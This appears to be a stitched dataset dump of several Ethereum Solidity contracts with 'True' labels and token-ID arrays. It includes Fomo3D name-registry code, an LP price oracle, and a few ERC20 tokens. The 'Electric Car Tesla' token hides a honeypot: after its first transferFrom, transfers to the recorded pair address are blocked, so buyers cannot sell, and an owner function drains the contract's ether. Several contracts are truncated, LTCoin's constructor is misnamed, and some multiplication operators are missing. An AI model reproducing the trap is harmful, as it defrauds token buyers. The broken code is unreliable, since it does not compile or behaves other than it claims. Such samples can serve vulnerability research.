plyr_[1].names = 1; pIDxAddr_[0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68] = 1; pIDxName_["justo"] = 1; plyrNames_[1]["justo"] = true; plyrNameList_[1][1] = "justo"; plyr_[2].addr = 0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68; plyr_[2].name = "mantso"; plyr_[2].names = 1; pIDxAddr_[0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68] = 2; pIDxName_["mantso"] = 2; plyrNames_[2]["mantso"] = true; plyrNameList_[2][1] = "mantso"; plyr_[3].addr = 0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68; plyr_[3].name = "sumpunk"; plyr_[3].names = 1; pIDxAddr_[0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68] = 3; pIDxName_["sumpunk"] = 3; plyrNames_[3]["sumpunk"] = true; plyrNameList_[3][1] = "sumpunk"; plyr_[4].addr = 0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68; plyr_[4].name = "inventor"; plyr_[4].names = 1; pIDxAddr_[0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68] = 4; pIDxName_["inventor"] = 4; plyrNames_[4]["inventor"] = true; plyrNameList_[4][1] = "inventor"; pID_ = 4; } //============================================================================== // _ _ _ _\|. \|`. _ _ _ . // \| \| \|(_)(_\|\|~\|~\|(/_\| _\ . (these are safety checks) //============================================================================== /* * @dev prevents contracts from interacting with fomo3d / modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier onlyDevs() { require(admin == msg.sender, "msg sender is not a dev"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _\|_ _ . // (/_\/(/_\| \| \| _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _\|__\|_ _ _ _ . // (_\|(/_ \| \| (/_\| _\ . (for UI & viewing things on etherscan) //=====_\|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ \|_ \|. _ \|` _ __\|_. _ _ _ . // \|_)\|_\|\|_)\|\|(_ ~\|~\|_\|\| \|(_ \| \|(_)\| \|_\ . (use these to interact with contract) //====\|========================================================================= /* * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) / function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /* * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id / function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /* * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea / function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /* * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use / function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ \| _ _ . _ . // (_(_)\| (/_ \|(_)(_\|\|(_ . //=====================_\|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards admin.transfer(address(this).balance); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _\|_ _ _ \| _ . // \| (_)(_)\|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _\|_ _ _ _ _ \| _ _ \|\| _ . // (/_>< \| (/_\| \| \|(_\|\| (_(_\|\|\|_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _\|_ _ . // _\(/_ \| \|_\|\|_) . //=============\|================================================================ function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } function setRegistrationFee(uint256 _fee) onlyDevs() public { registrationFee_ = _fee; } } /* * @title -Name Filter- v0.1.9 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ __ _ ____ ____ _ _ _____ ____ ___ =============\| \|\ \| / /\ \| \|\/\| \| \|_ =====\| \|_ \| \| \| \| \| \| \| \|_ \| \|_)============== =============\|_\| \\| /_/--\ \|_\| \| \|_\|__=====\|_\| \|_\| \|_\|__ \|_\| \|_\|__ \|_\| \============== * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ / library NameFilter { /* * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format / function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 \|\| // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) \|\| // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 \|\| _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /* * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /* * @dev gives square root of given x. / function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /* * @dev gives square. multiplies x by x / function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /* * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1011, 2447, 8654, 1011, 1058, 2692, 1012, 1017, 1012, 2403, 1008, 100, 100, 100, 100, 1008, 1616, 100, 100, 100, 100, 100, 100, 100, 1616, 30143, 30143, 1616, 100, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1008, 1006, 1010, 1013, 1013, 1007, 1013, 1007, 1013, 1007, 1006, 1010, 1013, 1013, 1007, 1013, 1007, 1008, 100, 1013, 1035, 1006, 1013, 1035, 1013, 1013, 1013, 1013, 1013, 1035, 1013, 1013, 1035, 1035, 1035, 1035, 1006, 1013, 1008, 100, 1035, 1035, 1035, 1013, 1035, 1035, 1035, 1006, 1013, 1035, 1013, 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/** Submitted for verification at Etherscan.io on 2021-06-24 / // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 \|\| (c = a * b) / b == a, "BoringMath: Mul Overflow"); } } interface IAggregator { function latestAnswer() external view returns (int256 answer); } interface IUniswapV2Pair { function totalSupply() external view returns (uint256); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } /// @title LPChainlinkOracleV1 /// @author BoringCrypto /// @notice Oracle used for getting the price of an LP token paired with ETH based on an token-ETH chainlink oracle with 18 decimals /// @dev Optimized version based on https://blog.alphafinance.io/fair-lp-token-pricing/ contract LPETHChainlinkOracleV1 is IAggregator { using BoringMath for uint256; IUniswapV2Pair public immutable pair; IAggregator public immutable tokenOracle; constructor(IUniswapV2Pair pair_, IAggregator tokenOracle_) public { pair = pair_; tokenOracle = tokenOracle_; } // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol function sqrt(uint256 x) internal pure returns (uint128) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint128(r < r1 ? r : r1); } // Calculates the lastest exchange rate function latestAnswer() external view override returns (int256) { (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pair).getReserves(); uint256 totalSupply = pair.totalSupply(); uint256 k = reserve0.mul(reserve1); uint256 ethValue = sqrt((k / 1e18).mul(uint256(tokenOracle.latestAnswer()))); uint256 totalValue = ethValue.mul(2); return int256(totalValue.mul(1e18) / totalSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2484, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 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/** Submitted for verification at Etherscan.io on 2021-04-24 / /** ________ ________ ______ __ ______ / \|/ \| / \ / \| / \ $$$$$$$$/ $$$$$$$$/ /$$$$$$ \|$$ \| /$$$$$$ \| $$ \| $$ \|__ $$ \__$$/ $$ \| $$ \|__$$ \| $$ \| $$ \| $$ \ $$ \| $$ $$ \| $$ \| $$$$$/ $$$$$$ \|$$ \| $$$$$$$$ \| $$ \| $$ \|_____ / \__$$ \|$$ \|_____ $$ \| $$ \| $$ \| $$ \|$$ $$/ $$ \|$$ \| $$ \| $$/ $$$$$$$$/ $$$$$$/ $$$$$$$$/ $$/ $$/ ----------------------------------------------------------------- #Electric Car Tesla ($TESLA) - A new way to earn income #LIQ + #RFI + #Safemoon + #DOGE + #MARSBANK = #TESLA Stealth launch Liquidity Locked for 365 Days Small Initial Market Cap No Dev & Team Token, because $TESLA 100% Driven by Community ----------------------------------------------------------------- Its the best parts of the #TESLA idea, increasing the liquidity pool automatically, help the pool grow from tiny initial market cap Audit , Coingecko , CMC & Blockfolio will be launch soon / //SPDX-License-Identifier: MIT pragma solidity >=0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a b; require(a == 0 \|\| c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "TESLA"; name = "Electric Car Tesla"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract ElectricCarTesla is TokenERC20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } // DISCLAIMER : Those tokens are generated for testing purposes, please do not invest ANY funds in them!	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pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract LTCoin { // Public variables of the token string public name; string public symbol; uint8 public decimals = 6; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract / function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = 10000000000000000000; // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "LTCoin"; // Set the name for display purposes symbol = "LTC"; // Set the symbol for display purposes } /* * Internal transfer, only can be called by this contract / function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send / function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send / function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend / function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract / function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn / function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /* * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 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/** Submitted for verification at Etherscan.io on 2021-07-27 / // SPDX-License-Identifier: MIT // ICO for Parking Squatter pragma solidity 0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a 